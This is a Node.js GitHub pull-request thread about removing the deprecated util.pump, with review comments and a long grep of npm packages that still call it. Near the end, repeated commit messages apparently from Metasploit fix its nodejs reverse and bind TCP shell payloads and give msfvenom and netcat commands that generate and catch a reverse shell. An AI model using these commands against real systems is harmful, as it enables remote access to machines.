Conversation
|
Adding this to the list of things to check. |
There was a problem hiding this comment.
You also need to remove the below line ⬇️
|
@chrisdickinson could you check this one ? |
|
@nodejs/ctc ... any further thoughts? |
|
+1 on removing, but it may still be interesting to see how many third-party modules would still be affected by such a removal. |
|
+1 for removing. Grep for blogsiple-0.0.3.tgz/extension/blob/main.coffee:40: util.pump input, output, (err) ->
brunch-extensions-0.2.2.tgz/src/helpers.coffee:10: util.pump read, write, -> callback?()
caboose-0.1.65.tgz/lib/path.coffee:114: util.pump(input, output, callback)
coolkit-0.0.2.tgz/src/helpers.coffee:22: util.pump read, write, -> callback?()
files-0.8.2.tgz/lib/files.coffee:104: util.pump readStream, writeStream, callback
fs2http-0.1.1.tgz/lib/utils.coffee:50: util.pump readStream, writeStream, (err) ->
meteor-private-package-0.0.10.tgz/src/smart_ref.coffee:16: util.pump reader, writer, (err) -> callback?(err)
mg-mongoose-thumbnail-0.0.2.tgz/test/test.coffee:42: util.pump is_, os, cb
mongoose-thumbnail-0.0.1.tgz/test/test.coffee:42: util.pump is_, os, cb
node-term-0.0.3.tgz/lib/main.coffee:12: util.pump sh.stdout, c
nodize-0.0.5.tgz/modules/backend/controllers/ctrl_media.coffee:240: util.pump ins, ous, (err) ->
omicron-0.2.0.tgz/grunt.coffee:16: util.pump read, write, callback
open.core-0.1.209.tgz/lib/src/server/util/fs/_copy.coffee:138: util.pump reader, writer, (err) -> callback?(err)
shake-0.0.9.tgz/lib/main.coffee:11: util.pump child.stdout, process.stdout
shake-0.0.9.tgz/lib/main.coffee:12: util.pump child.stderr, process.stderr
socketstream-wisdom-0.3.0RC1.tgz/src/cli/generate.coffee:39: util.pump(read, write)
stitch-up-0.3.12.tgz/lib/index.coffee:147: util.pump inputStream, outputStream, (err) ->
titanium-backbone-0.5.4.tgz/lib/index.coffee:81: util.pump input, output, callback
v-t-test-0.4.2-22.tgz/packages/tower-support/shared/file.coffee:55: util.pump(oldFile, newFile)
walkabout-0.1.6.tgz/lib/walkabout.coffee:168: util.pump(input, output, callback)
webc-0.1.2.tgz/test/compile.test.coffee:68: util.pump(fromFileDescriptor, toFileDescriptor, callback);
10er10-0.23.0.tgz/node/d10.router.audio.download.js:34: util.pump(fs.createReadStream(file),response);
10er10-0.23.0.tgz/node/httpHelper.js:101: util.pump(stream, ctx.response);
amdify-0.0.26.tgz/lib/builtin/sys.js:39:exports.pump = util.pump;
aqua-1.0.0.tgz/externs/nodejs/util.js:113:util.pump = function(readableStream, writableStream, callback) {};
asyncjs-0.0.9.tgz/lib/plugins/fs-node.js:349: util.pump(reader, writer, callback)
async_testing-0.3.2.tgz/lib/web-runner.js:80: sys.pump(fs.createReadStream(dir+filename), response);
autolint-1.1.4.tgz/lib/configuration.js:42: util.pump(oldFile, newFile);
autolint-1.1.4.tgz/test/configuration-test.js:51: assert.calledOnceWith(util.pump, oldFile, newFile);
base12-0.3.5.tgz/scripts/generators/utils.js:27: util.pump(rs, ws, callback);
batman-0.14.1.tgz/tools/generator.js:122: return util.pump(oldFile, newFile, function(err) {
biojs-vis-blast-0.1.5.tgz/node/test/simple/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn), stream, function() {
biojs-vis-blast-0.1.5.tgz/node/test/simple/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn), stream, function(err) {
bufferlist-0.1.0.tgz/test/binary_event.js:9: sys.pump(sock, bufferList);
build-0.1.4.tgz/tasks/copy.js:12: util.pump(oldFile,newFile, function(err){
capsela-0.6.3.tgz/lib/BlobResponse.js:63: util.pump(this.blob.getStream(), stream);
capsela-0.6.3.tgz/lib/FileResponse.js:103: util.pump(fs.createReadStream(this.path), stream);
capsela-0.6.3.tgz/lib/HttpClient.js:139: util.pump(res, bodyStream);
capsela-0.6.3.tgz/lib/Request.js:81: util.pump(bodyStream, this.bodyStream);
capsela-util-1.0.5.tgz/lib/Pipe.js:60: util.pump(stream, pipe);
capsela-util-1.0.5.tgz/lib/Pipe.js:259: util.pump(this, destination, function(err) {
capt-0.6.0.tgz/lib/request.js:81: sys.pump(response, options.responseBodyStream);
capt-0.6.0.tgz/lib/request.js:111: sys.pump(options.requestBodyStream, options.request);
closurecompiler-externs-1.0.4.tgz/util.js:114:util.pump = function(readableStream, writableStream, callback) {};
cloud9-0.5.1.tgz/support/asyncjs/lib/plugins/fs-node.js:347: sys.pump(reader, writer, callback)
cloud9-0.5.1.tgz/support/jsdav/support/async.js/lib/plugins/fs-node.js:347: sys.pump(reader, writer, callback)
cluster2-0.4.26.tgz/lib/monitor.js:76: util.pump(readStream, res, function (e) {
cocos2d-0.1.1.tgz/lib/cocos2d/commands/make.js:371: sys.pump(fs.createReadStream(src), fs.createWriteStream(dst));
codem-transcode-0.5.10.tgz/lib/job.js:433: EXDEV fix, since util.pump is deprecated, using stream.pipe
cody-3.4.0.tgz/controllers/StylesController.js:59: util.pump(ins, ous, function(err) {
comsat-0.1.1.tgz/test/comsat.test.js:19: util.pump(is,os, callback);
coolkit-0.0.2.tgz/src/helpers.js:35: return util.pump(read, write, function() {
coverage_testing-0.5.0.tgz/lib/web-runner.js:100: util.pump(fs.createReadStream(dir+filename), response);
covershot-0.2.0.tgz/lib/fsutil.js:60: util.pump(is, os, cb);
crafity-http-0.1.3.tgz/lib/WebService.js:87: util.pump(stream, res);
dri-0.0.6.tgz/lib/dri.js:338: util.pump(is, os, function() {
express-logger-0.0.3.tgz/logger.js:55: util.pump(is, os, cb);
fh-0.12.1-7.tgz/lib/local.js:478: util.pump(fileStream, response);
fh-0.12.1-7.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout, cp2.stdin);
fh-fhc-1.1.5-59.tgz/lib/cmd/common/local.js:557: util.pump(fileStream, response);
fh-fhc-1.1.5-59.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout, cp2.stdin);
fh-fhc-beta-1.0.8-17.tgz/lib/cmd/common/local.js:557: util.pump(fileStream, response);
fh-fhc-beta-1.0.8-17.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout, cp2.stdin);
fh-fhc-test-0.30.3-3.tgz/lib/local.js:555: util.pump(fileStream, response);
fh-fhc-test-0.30.3-3.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout, cp2.stdin);
fiberize-0.1.1.tgz/test/pump_test.js:14: util.pumpW(child.stdout, process.stdout);
flush-all-0.1.1.tgz/node-v0.13/test/simple/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn), stream, function() {
flush-all-0.1.1.tgz/node-v0.13/test/simple/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn), stream, function(err) {
forker-2.0.6.tgz/index.js:102: util.pump(p_res, res)
fructose-1.0.1.tgz/functions/fs/move.js:8: util.pump(is, os, function(err) {
fsautil-0.1.1.tgz/fsautil.js:67: util.pump(is, os, callback);
fs-copy-0.0.2.tgz/lib/fs-copy.js:31: return util.pump(is, os, function(err) {
fstree-0.0.1.tgz/lib/fstree.js:125: mod_util.pump(input, output, function (suberr) {
funtang.compiler-0.0.1.tgz/source/config/jake.js:36: util.pump(fs.createReadStream(cpath), fs.createWriteStream(ppath));
furniture-0.1.6.tgz/test/test-examples.js:40: util.pump(is, os, cb);
gammalatex-0.0.8.tgz/example.js:82: util.pump(readStream, writeStream);
gnd-0.7.9.tgz/bin/gnd.js:201: util.pump(is, os, cb);
gulp-externs-0.0.11.tgz/externs/node/v0.10.25/util.js:100:util.pump = function(readableStream, writableStream, opt_callback) {};
gulp-externs-0.0.11.tgz/externs/node/v0.12.0/util.js:123:util.pump = function(readableStream, writableStream, opt_callback) {};
gulp-joycss-1.0.3.tgz/joycss/lib/csslib/cssReader.js:128: util.pump(steam, copyFile);
hackers-0.1.0.tgz/server/src/3rdparty/telnet.js:156: util.pump(this, dest);
hans-0.1.0.tgz/lib/helper.js:38: util.pump(is, os, cb);
hc-server-0.8.5.tgz/hc-server.js:177: util.pump(ins, ous, function(err) {
helper-0.0.13.tgz/index.js:48: sys.pump(is, os, cb);
hive-0.1.6.tgz/lib/file.js:79: util.pump(i, o, function() {
homebase-0.0.24.tgz/common/common_utils.js:22: util.pump(rs, response, function(err) {
hound-1.0.4.tgz/spec/hound.spec.js:43: util.pump(fs.createReadStream(src), fs.createWriteStream(dest))
hound-extra-1.0.4.tgz/spec/hound.spec.js:43: util.pump(fs.createReadStream(src), fs.createWriteStream(dest))
house-0.1.234.tgz/lib/endPoints/fs/index.js:18: util.pump(is, os, function() {
iai-static-0.0.2.tgz/lib/static.js:52: util.pump(fs.createReadStream(file), res, function(err){
imagerequest-0.0.1.tgz/imagerequest.js:201: lib.util.pump(stream, res, function (err) {
jah-0.3.0.tgz/lib/jah/copytree.js:45: sys.pump(fs.createReadStream(src), fs.createWriteStream(dst));
jah-0.3.0.tgz/lib/jah/copytree.js:61: sys.pump(reader, writer);
jalapeno-0.1.1.tgz/jalapeno.js:107: sys.pump(fs.createReadStream(file), fs.createWriteStream(to_dir),function(){
j-forms-0.0.74.tgz/fields.js:652: util.pump(is, os, function(err) {
jsut-0.0.5.tgz/npm-install.js:9: util.pump(is, os, cb);
karma-assert-1.0.0.tgz/assert.js:776:util.pump = util.deprecate(function(readStream, writeStream, callback) {
littlehelper-0.4.4.tgz/src/core/Files.js:14: this.util.pump(oldFile, newFile);
memorystream-0.3.1.tgz/test/example.js:13: util.pump(res, memStream);
memorystream-mcavage-0.1.1.tgz/test/example.js:13: util.pump(res, memStream);
memstream-0.0.1.tgz/index.js:38: var pump = sys.pump || util.pump;
middlefiddle-0.3.3.tgz/setup.js:24: util.pump(original, target);
mold-0.0.11.tgz/mold.js:73: util.pump(is, os);
mold-0.0.11.tgz/mold.js:87: util.pump(is, os);
mold-0.0.11.tgz/mold.js:101: util.pump(is, os);
mpr-0.1.12.tgz/lib/mpr/util.js:186:module.exports.pump = util.pump;
mutil-0.3.0.tgz/test/mutil-test.js:204: should.exist(util.pump);
mvcfun-0.4.4-r1.tgz/lib/UploadManager.js:200: util.pump(is, os2, function() {
mvcfun-0.4.4-r1.tgz/lib/UploadManager.js:271: util.pump(is, os, function() {
mverriez.cluster2-0.5.1-SNAPSHOT.tgz/lib/monitor.js:76: util.pump(readStream, res, function (e) {
ndns-0.1.1.tgz/examples/redis-streaming-client.js:8:sys.pump(db.createReadStream("get", "stdin"), process.stdout);
ndns-0.1.1.tgz/examples/redis-streaming-client.js:16:sys.pump(process.openStdin(), db.createWriteStream("append", "stdin"));
ndns-0.1.1.tgz/examples/t.js:235: sys.pump(stream, cstream);
ndns-0.1.1.tgz/examples/t.js:236: sys.pump(cstream, stream);
ndns-0.1.1.tgz/lib/tun_proxy.js:43: sys.pump(stream, self.client);
nervecentre-0.1.3.tgz/inc/util.js:49: util.pump(body,res);
nodast-0.0.2.tgz/lib/installer.js:36: util.pump(inStream, outStream, function (error) {
nodast-0.0.2.tgz/lib/installer.js:49: util.pump(initdInStream, initdOutStream, function (error) {
node-core-test-simple-0.11.11.tgz/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn), stream, function() {
node-core-test-simple-0.11.11.tgz/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn), stream, function(err) {
node-get-0.1.0.tgz/lib/node-get/node-get.js:168: getutil.pump(
node-helper-0.0.7.tgz/fshelper-bak.js:38: $await(util.pumpAsync(streamIn, streamOut));
nodejs-externs-0.10.1.tgz/externs/util.js:113:util.pump = function(readableStream, writableStream, callback) {};
node.svntail-0.6.30.tgz/lib/util.js:248: util.pump(oldFile, newFile);
node-syntaxhighlighter-0.8.1.tgz/node-syntaxhighlighter.js:160: util.pump(readStream, writeStream, cb);
npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/cache.js:280: sys.pump(from, to)
npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/cache.js:449: sys.pump(gzip.stdout, target)
npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/utils/exec.js:33: sys.pump(cp1.stdout, cp2.stdin)
npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/utils/fetch.js:103: sys.pump(response, fstr)
oatos.utils-0.2.0.tgz/lib/FileUtil.js:223: $await(util.pumpAsync(streamIn, streamOut));
ocframework-0.9.2.tgz/lib/helpers/fs.js:16: util.pump(
oembed-0.1.0.tgz/lib/oembed.js:141: util.pump(res, disco);
oembed-0.1.0.tgz/lib/oembed.js:186: util.pump(res, parser);
opencomb-0.9.7.tgz/lib/helpers/fs.js:16: util.pump(
opencomb-cli-0.1.3.tgz/commands/init.js:359: util.pump(
operatic-0.1.2.tgz/bin/operatic.js:19: util.pump(fs.createReadStream(inputPath), fs.createWriteStream(outputPath), function(err) {
pathfinder-0.3.0-1.tgz/lib/pathfinder/file.js:210: return util.pump(oldFile, newFile);
payos-0.0.1.tgz/support/async/lib/async/plugins/fs-node.js:347: sys.pump(reader, writer, callback)
pezhu-0.0.0.tgz/Downloads/node-v0.9.11/test/simple/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn), stream, function() {
pezhu-0.0.0.tgz/Downloads/node-v0.9.11/test/simple/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn), stream, function(err) {
pn-0.0.1.tgz/util.js:33: pump: { enumerable: true, value: promisify(util, util.pump, 2) },
pump.io-0.3.0.tgz/test/lib/http.js:391: util.pump(bres, res);
pump.io-0.3.0.tgz/test/lib/http.js:396: util.pump(req, breq);
ql.io-mon-0.3.0.tgz/lib/mon.js:168: util.pump(readStream, res, function(e) {
readarepo-zip-0.1.1.tgz/lib/md.js:36: util.pump(srcStream, tgtStream, function (err) {
readarepo-zip-0.1.1.tgz/lib/service/convert.js:122: util.pump(srcStream, tgtStream, function (err) {
readarepo-zip-0.1.1.tgz/lib/service/support.js:85: util.pump(source, target, function (err) {
regex-stream-0.0.3.tgz/examples/regex-example.js:17:util.pump(input, regexStream)
regex-stream-0.0.3.tgz/examples/regex-example.js:18:util.pump(regexStream, process.stdout)
regex-stream-0.0.3.tgz/examples/simple-example.js:14:util.pump(input, regexStream)
regex-stream-0.0.3.tgz/examples/simple-example.js:15:util.pump(regexStream, process.stdout)
regex-stream-0.0.3.tgz/examples/timestamp-example.js:20:util.pump(input, regexStream)
regex-stream-0.0.3.tgz/examples/timestamp-example.js:21:util.pump(regexStream, process.stdout)
regex-stream-0.0.3.tgz/test/stream-test.js:84: util.pump(dataStream, regexStream)
regex-stream-0.0.3.tgz/test/stream-test.js:85: util.pump(regexStream, outStream)
regex-stream-0.0.3.tgz/test/stream-test.js:125: util.pump(dataStream, regexStream)
regex-stream-0.0.3.tgz/test/stream-test.js:126: util.pump(regexStream, outStream)
repl-edit-0.9.4.tgz/lib/index.js:157: util.pump(read, fs.createWriteStream(dest))
repl-edit-0.9.4.tgz/lib/index.js:179: util.pump(read, fs.createWriteStream(cmdFile))
runr-0.4.6.tgz/lib/mongodb.js:42: util.pump(mongod.stdout, out);
runr-0.4.6.tgz/lib/mongodb.js:45: util.pump(mongod.stderr, err);
runr-0.4.6.tgz/lib/selenium.js:47: util.pump(selenium.stdout, out);
runr-0.4.6.tgz/lib/selenium.js:50: util.pump(selenium.stderr, err);
sardines-0.4.5.tgz/lib/builtin/sys.js:42:exports.pump = util.pump;
selenium-2.20.0.tgz/lib/runner/app.js:26:util.pump(selenium.stdout, out);
selenium-2.20.0.tgz/lib/runner/app.js:27:util.pump(selenium.stderr, err);
shoutcast-0.0.2.tgz/lib/shoutcast.js:83: util.pump(this.stream, res, function() {
simplehelper-0.1.1.tgz/lib/util.js:65: util.pump(rs, response);
socketstream-wisdom-0.3.0RC1.tgz/lib/cli/generate.js:38: return util.pump(read, write);
squid-0.2.9.tgz/lib/builders/Copy.js:25: return util.pump(srcStream, outStream, cb);
sumeru-0.10.4.tgz/sumeru/server/fileServer.js:507: util.pump(raw, res);
sys-not-throw-1.0.2.tgz/index.js:40:sys.pump = util.deprecate(util.pump, msg);
thimble-0.0.10.tgz/lib/utils.js:16: pump = util.pump,
thumbnailgen-0.0.8.tgz/libs/pdfthumbnail/index.js:82: util.pump(is, os, function() {
tooljs-0.1.6.tgz/lib/util/file.js:59: util.pump(fs.createReadStream(src_file),
ufo-0.1.5.tgz/lib/management/utils.js:116: util.pump(
v-t-test-0.4.2-22.tgz/lib/tower-support/shared/file.js:54: return util.pump(oldFile, newFile);
webc-0.1.2.tgz/lib/webc.js:186: util.pump(inputFileDescriptor, outputFileDescriptor, callback);
webser-0.0.1.tgz/lib/action.js:50: util.pump(html, rep);
wez-telnet-0.1.1.tgz/telnet.js:156: util.pump(this, dest);
whiskey-0.8.4.tgz/lib/reporters/coverage/html.js:175: util.pump(oldFile, newFile);
wikitpage-0.0.2.tgz/bin/trans.js:144: util.pump(is, os, function() {
xappy-async_testing-0.4.0.tgz/lib/web-runner.js:100: util.pump(fs.createReadStream(dir+filename), response);
xglib-0.0.5.tgz/lib/filecopy.js:9: util.pump(read,write,function(err){
xglib-0.0.5.tgz/routes/index.js:168: util.pumpAsync = binding.fromCallback(util.pump);
xglib-0.0.5.tgz/routes/index.js:177: $await(util.pumpAsync(target,clone));
zeppelin-0.0.3.tgz/lib/script/zeppelin.js:82: util.pump(is, os, function() |
|
Putting this on the ctc-agenda tomorrow for a quick sanity check. Don't believe it's controversial at all but worth a double check |
|
LGTM |
|
@geek ... would like to get this landed. Can you please rebase and update the PR? |
doc/api/util.markdown
Outdated
There was a problem hiding this comment.
hmm... @geek can you take another look? looks like a merge error
|
@jasnell should be good now, thanks |
|
|
|
hold on... weren't these tests removed before this was rebased? |
Remove util.pump and associated tests PR-URL: #2531 Reviewed-By: Colin Ihrig <cjihrig@gmail.com> Reviewed-By: James M Snell <jasnell@gmail.com>
|
Landed in 007cfea |
|
@jasnell Do |
|
@ChALkeR ... I do believe so. pump has been deprecated for quite a while, I'd be very surprised if there wasn't coverage. |
|
They were, git rebase failed me or I failed git rebase! |
|
Quite odd indeed. No worries, they're removed in the landed commit. Thanks for rebasing that. |
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.
On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
nodejs/node#2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.
On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
nodejs/node#2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
This has been deprecated since v0.10, it was also documented as being deprecated. https://github.com/joyent/node/blob/v0.10.40-release/lib/util.js#L537-L538